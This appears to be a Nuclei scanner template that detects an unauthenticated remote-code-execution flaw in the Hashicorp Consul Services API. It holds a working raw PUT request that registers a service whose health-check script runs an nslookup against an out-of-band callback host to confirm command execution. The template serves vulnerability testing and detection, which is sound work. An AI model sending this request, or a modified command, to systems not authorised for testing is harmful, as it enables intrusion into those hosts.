id: hashicorp-consul-rce

info:
  name: Hashicorp Consul Services API - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Hashicorp Consul Services API is vulnerable to an attack that can be leveraged to perform remote command execution on Consul nodes.
  reference:
    - https://www.exploit-db.com/exploits/46074
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: hashicorp,rce,oast,intrusive,edb

http:
  - raw:
      - | # Create USER
        PUT /v1/agent/service/register HTTP/1.1
        Host: {{Hostname}}

        {
          "ID": "{{randstr}}",
          "Name": "{{randstr}}",
          "Address": "127.0.0.1",
          "Port": 80,
          "check": {
            "script": "nslookup {{interactsh-url}}",
            "interval": "10s",
            "Timeout": "86400s"
          }
        }

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"
# digest: 4b0a00483046022100addac7e5cfa5f50ccc115c3f34703b1c61f9d5138bb5772f444c695e81296d74022100d40e3e2ae93d966358b93273ad41bc446a03e5db879a76a2ef50a52fd67550e4:922c64590222798bb761d5b6d8e72950